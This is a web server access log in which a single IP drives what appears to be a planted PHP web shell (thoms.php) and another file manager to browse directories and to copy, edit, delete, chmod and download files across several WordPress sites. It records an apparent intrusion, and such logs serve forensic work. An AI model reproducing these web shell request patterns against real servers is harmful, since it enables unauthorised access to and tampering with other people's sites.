45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11411 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22628 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /bestjudy.com.tw/.well-known/?ND= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /bestjudy.com.tw/.well-known/?MA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?edit=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 22268 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 25916 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:40 -0400] "GET /bestjudy.com.tw/.well-known/?SA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?edit=xmlrpc.php&p=booking-wise2.com.tw HTTP/1.1" 200 13131 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16716 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12361 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17424 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17574 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /booking-wise2.com.tw/wp-admin/install.php HTTP/1.1" 200 608 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2F HTTP/1.1" 200 7901 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /booking-wise2.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:41 -0400] "GET /booking-wise2.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2Fhome%2F HTTP/1.1" 200 5832 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 6404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 11132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&option=folder HTTP/1.1" 200 6406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 28426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 6534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 6395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F&option=file HTTP/1.1" 200 6406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 6376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /booking-wise2.com.tw/web-common/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common%2F HTTP/1.1" 200 18798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&settings=1 HTTP/1.1" 200 11935 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=admin.php HTTP/1.1" 200 16601 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=index.php HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13288 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /booking-wise2.com.tw/web-common/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=license.txt HTTP/1.1" 200 11926 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?chmod=license.txt&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /booking-wise2.com.tw/web-common/index.php HTTP/1.1" 200 6303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?dl=license.txt&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13103 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13103 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Findex.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Findex.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13126 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
